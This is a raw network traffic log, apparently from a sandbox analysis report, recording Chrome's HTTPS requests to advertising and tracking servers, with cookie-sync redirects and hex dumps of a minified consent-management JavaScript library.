2024-03-28 08:51:32 UTC	773	OUT	GET /AdServer/ImgSync?p=157362&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D157362%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync.admanmedia.com%252Fpub.gif%253Fpuid%253D%2523PMUID HTTP/1.1 Host: image8.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.admanmedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	446	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Location: /AdServer/ImgSync?p=157362&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D157362%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync.admanmedia.com%252Fpub.gif%253Fpuid%253D%2523PMUID&rdf=1 Set-Cookie: KTPCACOOKIE=YES; domain=pubmatic.com; path=/; max-age=86400; SameSite=None; secure; Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Length: 229 Connection: close
2024-03-28 08:51:32 UTC	229	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 2f 41 64 53 65 72 76 65 72 2f 49 6d 67 53 79 6e 63 3f 70 3d 31 35 37 33 36 32 26 61 6d 70 3b 70 75 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 69 6d 61 67 65 34 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 25 32 46 41 64 53 65 72 76 65 72 25 32 46 53 50 75 67 25 33 46 70 25 33 44 31 35 37 33 36 32 25 32 36 70 6d 63 25 33 44 50 4d 5f 50 4d 43 25 32 36 70 72 25 33 44 68 74 74 70 73 25 32 35 33 41 25 32 35 32 46 25 32 35 32 46 73 79 6e 63 2e 61 64 6d 61 6e 6d 65 64 69 61 2e 63 6f 6d 25 32 35 32 46 70 75 62 2e 67 69 66 25 32 35 33 46 70 75 69 64 25 32 35 33 44 25 32 35 32 33 50 4d 55 49 44 26 61 6d 70 3b 72 64 66 3d 31 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="/AdServer/ImgSync?p=157362&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D157362%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fsync.admanmedia.com%252Fpub.gif%253Fpuid%253D%2523PMUID&rdf=1">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
429	192.168.2.4	50280	74.214.196.131	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	678	OUT	GET /bh/rtset?pid=558511&ev=1&rurl=https%3A%2F%2Fce.lijit.com/merge?pid=49&3pid=%%VGUID%%&gdpr=0&gdpr_consent= HTTP/1.1 Host: bh.contextweb.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	982	IN	HTTP/1.1 302 Found Connection: close P3P: policyref="/bh/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Accept-CH: Sec-CH-UA,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile,Sec-CH-UA-Model,Sec-CH-UA-Platform,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform-Version CW-Server: bh-deployment-547495f9b6-vfpqx Cache-Control: private, max-age=0, no-cache, no-store Expires: -1 Content-Language: en-US Set-Cookie: V=qoRg4ZFEdTZx;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Sun, 23-Mar-2025 08:51:32 GMT;Max-Age=31104000;SameSite=None Set-Cookie: pb_rtb_ev=3-1qhf\|7dW.0.1;Version=0;Secure;Path=/;Domain=.contextweb.com;Expires=Fri, 28-Mar-2025 08:51:32 GMT;Max-Age=31536000;SameSite=None Location: https://ce.lijit.com/merge?pid=49&3pid=qoRg4ZFEdTZx&ev=1&pid=558511&gdpr_consent=&gdpr=0 Server: Jetty(10.0.14) Strict-Transport-Security: max-age=15768000 Set-Cookie: INGRESSCOOKIE=bfb70d0b24e1067a; path=/; HttpOnly; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
430	192.168.2.4	50279	34.205.236.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	864	OUT	GET /ibs:dpid=199624&dpuuid=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&redir=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%24%7BDD_UUID%7D%26zpartnerid%3D314%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://spl.zeotap.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	1014	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Length: 0 Connection: close X-TID: L7eILwGwQLI= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Location: https://dpm.demdex.net/demconf.jpg?et:ibs%7cdata:dpid=199624&dpuuid=5b95a3db-1a3a-4c5d-7bc4-805f128d851b&redir=https%3A%2F%2Fmwzeom.zeotap.com%2Fmw%3Fcid%3D%24%7BDD_UUID%7D%26zpartnerid%3D314%26env%3DmWeb%26eventType%3Dpageview%26id_mid_4%3D5b95a3db-1a3a-4c5d-7bc4-805f128d851b%26reqId%3D212c3ed0-3dd8-4750-606c-8892c7edded6%26zdid%3D648 DCS: dcs-prod-va6-1-v057-026f91b81.edge-va6.demdex.com 0 ms set-cookie: demdex=34122689247221709290423443350864137659; Max-Age=15552000; Expires=Tue, 24 Sep 2024 08:51:32 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
431	192.168.2.4	50288	18.160.41.114	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	636	OUT	GET /pixels/ayl_pixel?ayl_id=b6fcc9c759d2693b00a026e6708e7344 HTTP/1.1 Host: api-2-0.spot.im Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	642	IN	HTTP/1.1 204 No Content Connection: close Date: Thu, 28 Mar 2024 08:51:32 GMT X-Cache: Miss from cloudfront Via: 1.1 3718533b4f5d67c52ce24dc2e8ef04b4.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P1 X-Amz-Cf-Id: FLTFLmrbKWq7ciHEDKjdc2KIZLXxFjbBPNixZs0MHvJqRaxqZWEQ9A== Content-Security-Policy: default-src 'none'; img-src 'self'; script-src-elem connect.facebook.net; style-src-elem 'unsafe-inline'; style-src 'self' 'unsafe-inline'; style-src-attr 'unsafe-inline'; report-uri https://o294277.ingest.sentry.io/api/4505425533272064/security/?sentry_key=f16f012f16c94b179d820f4d5e9c39ff Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
432	192.168.2.4	50292	69.194.240.13	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	614	OUT	GET /usersync2/rmpssp?sub=sovrn&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	643	IN	HTTP/1.1 302 Found date: Thu, 28 Mar 2024 08:51:33 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-b6a81ab2-e806-441c-954b-0b87961b9ddd-005%22%2C%22zdxidn%22%3A%222069.80%22%7D; path=/; expires=Fri, 28 Mar 2025 08:51:33 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.1rx.io/usersync2/rmpssp?sub=sovrn&zcc=1&cb=1711615893141 etag: RXb6a81ab2e806441c954b0b87961b9ddd005 connection: close
2024-03-28 08:51:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.4	50276	104.22.31.209	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	561	OUT	GET /js/decode_consent/decode_consent.js HTTP/1.1 Host: static.smilewanted.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://csync.smilewanted.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	576	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: application/javascript Content-Length: 49614 Connection: close Last-Modified: Thu, 15 Apr 2021 17:11:55 GMT ETag: "607873db-c1ce" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Strict-Transport-Security: max-age=31536000; includeSubDomains Referrer-Policy: strict-origin X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 60947 Accept-Ranges: bytes Server: cloudflare CF-RAY: 86b66100fbc52063-IAD
2024-03-28 08:51:32 UTC	793	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 73 77 5f 63 6f 6e 73 65 6e 74 3d 74 28 29 3a 65 2e 73 77 5f 63 6f 6e 73 65 6e 74 3d 74 28 29 7d 28 73 65 6c 66 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 7b 31 38 36 3a 66 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.sw_consent=t():e.sw_consent=t()}(self,(function(){return(()=>{"use strict";var e={186:f
2024-03-28 08:51:32 UTC	1369	IN	Data Raw: 72 3d 65 2e 64 65 65 70 43 6c 6f 6e 65 28 65 5b 6e 5d 29 3b 76 6f 69 64 20 30 21 3d 3d 72 26 26 28 74 5b 6e 5d 3d 72 29 7d 29 29 2c 74 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 65 70 43 6c 6f 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 72 2c 6f 3d 74 79 70 65 6f 66 20 65 3b 69 66 28 22 6e 75 6d 62 65 72 22 3d 3d 3d 6f 7c 7c 22 73 74 72 69 6e 67 22 3d 3d 3d 6f 7c 7c 22 62 6f 6f 6c 65 61 6e 22 3d 3d 3d 6f 29 72 65 74 75 72 6e 20 65 3b 69 66 28 6e 75 6c 6c 21 3d 3d 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 3d 6f 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 2e 63 6c 6f 6e 65 29 72 65 74 75 72 6e 20 65 2e 63 6c 6f 6e 65 28 29 3b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 61 74 65 29 72 65 74 75 72 6e Data Ascii: r=e.deepClone(e[n]);void 0!==r&&(t[n]=r)})),t},e.prototype.deepClone=function(e){var t,r,o=typeof e;if("number"===o\|\|"string"===o\|\|"boolean"===o)return e;if(null!==e&&"object"===o){if("function"==typeof e.clone)return e.clone();if(e instanceof Date)return
2024-03-28 08:51:32 UTC	1369	IN	Data Raw: 29 7b 76 61 72 20 6e 2c 72 2c 6f 2c 73 2c 69 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 31 26 6f 5b 30 5d 29 74 68 72 6f 77 20 6f 5b 31 5d 3b 72 65 74 75 72 6e 20 6f 5b 31 5d 7d 2c 74 72 79 73 3a 5b 5d 2c 6f 70 73 3a 5b 5d 7d 3b 72 65 74 75 72 6e 20 73 3d 7b 6e 65 78 74 3a 75 28 30 29 2c 74 68 72 6f 77 3a 75 28 31 29 2c 72 65 74 75 72 6e 3a 75 28 32 29 7d 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 73 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 2c 73 3b 66 75 6e 63 74 69 6f 6e 20 75 28 73 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 75 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 Data Ascii: ){var n,r,o,s,i={label:0,sent:function(){if(1&o[0])throw o[1];return o[1]},trys:[],ops:[]};return s={next:u(0),throw:u(1),return:u(2)},"function"==typeof Symbol&&(s[Symbol.iterator]=function(){return this}),s;function u(s){return function(u){return functi
2024-03-28 08:51:32 UTC	1369	IN	Data Raw: 65 63 69 66 79 20 47 56 4c 2e 62 61 73 65 55 72 6c 20 62 65 66 6f 72 65 20 6c 6f 61 64 69 6e 67 20 47 56 4c 20 6a 73 6f 6e 22 29 3b 69 66 28 6e 3e 30 29 7b 76 61 72 20 73 3d 6e 3b 74 2e 43 41 43 48 45 2e 68 61 73 28 73 29 3f 28 72 2e 70 6f 70 75 6c 61 74 65 28 74 2e 43 41 43 48 45 2e 67 65 74 28 73 29 29 2c 72 2e 72 65 61 64 79 50 72 6f 6d 69 73 65 3d 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 29 29 3a 28 6f 2b 3d 74 2e 76 65 72 73 69 6f 6e 65 64 46 69 6c 65 6e 61 6d 65 2e 72 65 70 6c 61 63 65 28 22 5b 56 45 52 53 49 4f 4e 5d 22 2c 73 2b 22 22 29 2c 72 2e 72 65 61 64 79 50 72 6f 6d 69 73 65 3d 72 2e 66 65 74 63 68 4a 73 6f 6e 28 6f 29 29 7d 65 6c 73 65 20 74 2e 43 41 43 48 45 2e 68 61 73 28 74 2e 4c 41 54 45 53 54 5f 43 41 43 48 45 5f 4b 45 59 29 3f Data Ascii: ecify GVL.baseUrl before loading GVL json");if(n>0){var s=n;t.CACHE.has(s)?(r.populate(t.CACHE.get(s)),r.readyPromise=Promise.resolve()):(o+=t.versionedFilename.replace("[VERSION]",s+""),r.readyPromise=r.fetchJson(o))}else t.CACHE.has(t.LATEST_CACHE_KEY)?
2024-03-28 08:51:32 UTC	1369	IN	Data Raw: 61 63 6b 73 3a 74 68 69 73 2e 73 74 61 63 6b 73 7d 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 66 65 74 63 68 4a 73 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 28 74 68 69 73 2c 76 6f 69 64 20 30 2c 76 6f 69 64 20 30 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 72 29 7b 73 77 69 74 63 68 28 72 2e 6c 61 62 65 6c 29 7b 63 61 73 65 20 30 3a 72 65 74 75 72 6e 20 72 2e 74 72 79 73 2e 70 75 73 68 28 5b 30 2c 32 2c 2c 33 5d 29 2c 74 3d 74 68 69 73 2e 70 6f 70 75 6c 61 74 65 2c 5b 34 2c 61 2e 4a 73 6f 6e 2e 66 65 74 63 68 28 65 29 5d 3b 63 61 73 65 20 31 3a 72 65 74 75 72 6e 20 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 5b 72 2e 73 65 6e 74 28 29 5d 29 Data Ascii: acks:this.stacks})},t.prototype.fetchJson=function(e){return s(this,void 0,void 0,(function(){var t,n;return i(this,(function(r){switch(r.label){case 0:return r.trys.push([0,2,,3]),t=this.populate,[4,a.Json.fetch(e)];case 1:return t.apply(this,[r.sent()])
2024-03-28 08:51:32 UTC	1369	IN	Data Raw: 72 6e 5b 33 2c 37 5d 3b 63 61 73 65 20 36 3a 74 68 72 6f 77 20 6e 65 77 20 63 2e 47 56 4c 45 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 6c 61 6e 67 75 61 67 65 20 22 2b 65 29 3b 63 61 73 65 20 37 3a 72 65 74 75 72 6e 5b 32 5d 7d 7d 29 29 7d 29 29 7d 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 6c 61 6e 67 75 61 67 65 22 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6c 61 6e 67 5f 7d 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 56 65 6e 64 6f 72 4c 69 73 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 65 26 Data Ascii: rn[3,7];case 6:throw new c.GVLError("unsupported language "+e);case 7:return[2]}}))}))},Object.defineProperty(t.prototype,"language",{get:function(){return this.lang_},enumerable:!0,configurable:!0}),t.prototype.isVendorList=function(e){return void 0!==e&
2024-03-28 08:51:32 UTC	1369	IN	Data Raw: 5b 65 5d 3d 6e 65 77 20 53 65 74 7d 29 29 2c 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 68 69 73 2e 66 65 61 74 75 72 65 73 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 62 79 46 65 61 74 75 72 65 56 65 6e 64 6f 72 4d 61 70 5b 65 5d 3d 6e 65 77 20 53 65 74 7d 29 29 2c 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 68 69 73 2e 73 70 65 63 69 61 6c 46 65 61 74 75 72 65 73 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 2e 62 79 53 70 65 63 69 61 6c 46 65 61 74 75 72 65 56 65 6e 64 6f 72 4d 61 70 5b 65 5d 3d 6e 65 77 20 53 65 74 7d 29 29 2c 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 7c 7c 28 65 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 68 69 73 2e 66 75 6c 6c 56 65 6e 64 6f 72 4c 69 73 74 29 2e 6d 61 70 28 28 66 Data Ascii: [e]=new Set})),Object.keys(this.features).forEach((function(e){t.byFeatureVendorMap[e]=new Set})),Object.keys(this.specialFeatures).forEach((function(e){t.bySpecialFeatureVendorMap[e]=new Set})),Array.isArray(e)\|\|(e=Object.keys(this.fullVendorList).map((f
2024-03-28 08:51:32 UTC	1369	IN	Data Raw: 73 28 22 70 75 72 70 6f 73 65 22 2c 65 2c 22 6c 65 67 49 6e 74 22 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 56 65 6e 64 6f 72 73 57 69 74 68 46 6c 65 78 69 62 6c 65 50 75 72 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 46 69 6c 74 65 72 65 64 56 65 6e 64 6f 72 73 28 22 70 75 72 70 6f 73 65 22 2c 65 2c 22 66 6c 65 78 69 62 6c 65 22 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 56 65 6e 64 6f 72 73 57 69 74 68 53 70 65 63 69 61 6c 50 75 72 70 6f 73 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 46 69 6c 74 65 72 65 64 56 65 6e 64 6f 72 73 28 22 70 75 72 70 6f 73 65 22 2c 65 2c 76 6f 69 64 20 30 2c 21 30 29 7d 2c 74 2e 70 72 6f 74 6f 74 79 70 65 2e Data Ascii: s("purpose",e,"legInt")},t.prototype.getVendorsWithFlexiblePurpose=function(e){return this.getFilteredVendors("purpose",e,"flexible")},t.prototype.getVendorsWithSpecialPurpose=function(e){return this.getFilteredVendors("purpose",e,void 0,!0)},t.prototype.
2024-03-28 08:51:32 UTC	1369	IN	Data Raw: 61 6c 73 3d 6e 2c 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2e 44 4f 4e 45 29 69 66 28 69 2e 73 74 61 74 75 73 3e 3d 32 30 30 26 26 69 2e 73 74 61 74 75 73 3c 33 30 30 29 7b 76 61 72 20 65 3d 69 2e 72 65 73 70 6f 6e 73 65 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 29 74 72 79 7b 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 6f 28 65 29 7d 65 6c 73 65 20 73 28 6e 65 77 20 45 72 72 6f 72 28 22 48 54 54 50 20 53 74 61 74 75 73 3a 20 22 2b 69 2e 73 74 61 74 75 73 2b 22 20 72 65 73 70 6f 6e 73 65 20 74 79 70 65 3a 20 22 2b 69 2e 72 65 73 70 6f Data Ascii: als=n,i.addEventListener("load",(function(){if(i.readyState==XMLHttpRequest.DONE)if(i.status>=200&&i.status<300){var e=i.response;if("string"==typeof e)try{e=JSON.parse(e)}catch(e){}o(e)}else s(new Error("HTTP Status: "+i.status+" response type: "+i.respo
2024-03-28 08:51:32 UTC	1369	IN	Data Raw: 2e 70 75 62 6c 69 73 68 65 72 43 6f 75 6e 74 72 79 43 6f 64 65 5f 3d 22 41 41 22 2c 6e 2e 76 65 72 73 69 6f 6e 5f 3d 32 2c 6e 2e 63 6f 6e 73 65 6e 74 53 63 72 65 65 6e 5f 3d 30 2c 6e 2e 70 6f 6c 69 63 79 56 65 72 73 69 6f 6e 5f 3d 32 2c 6e 2e 63 6f 6e 73 65 6e 74 4c 61 6e 67 75 61 67 65 5f 3d 22 45 4e 22 2c 6e 2e 63 6d 70 49 64 5f 3d 30 2c 6e 2e 63 6d 70 56 65 72 73 69 6f 6e 5f 3d 30 2c 6e 2e 76 65 6e 64 6f 72 4c 69 73 74 56 65 72 73 69 6f 6e 5f 3d 30 2c 6e 2e 6e 75 6d 43 75 73 74 6f 6d 50 75 72 70 6f 73 65 73 5f 3d 30 2c 6e 2e 73 70 65 63 69 61 6c 46 65 61 74 75 72 65 4f 70 74 69 6e 73 3d 6e 65 77 20 63 2e 56 65 63 74 6f 72 2c 6e 2e 70 75 72 70 6f 73 65 43 6f 6e 73 65 6e 74 73 3d 6e 65 77 20 63 2e 56 65 63 74 6f 72 2c 6e 2e 70 75 72 70 6f 73 65 4c 65 67 Data Ascii: .publisherCountryCode_="AA",n.version_=2,n.consentScreen_=0,n.policyVersion_=2,n.consentLanguage_="EN",n.cmpId_=0,n.cmpVersion_=0,n.vendorListVersion_=0,n.numCustomPurposes_=0,n.specialFeatureOptins=new c.Vector,n.purposeConsents=new c.Vector,n.purposeLeg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.4	50283	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	739	OUT	GET /track/cmf/generic?ttd_pid=federatedmedia&gdpr=0&gdpr_consent= HTTP/1.1 Host: data.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; TDCPM=CAEYASABKAIyCwjypJzZ38PnPBAFOAFaBzJ4bGdyemxgAg..
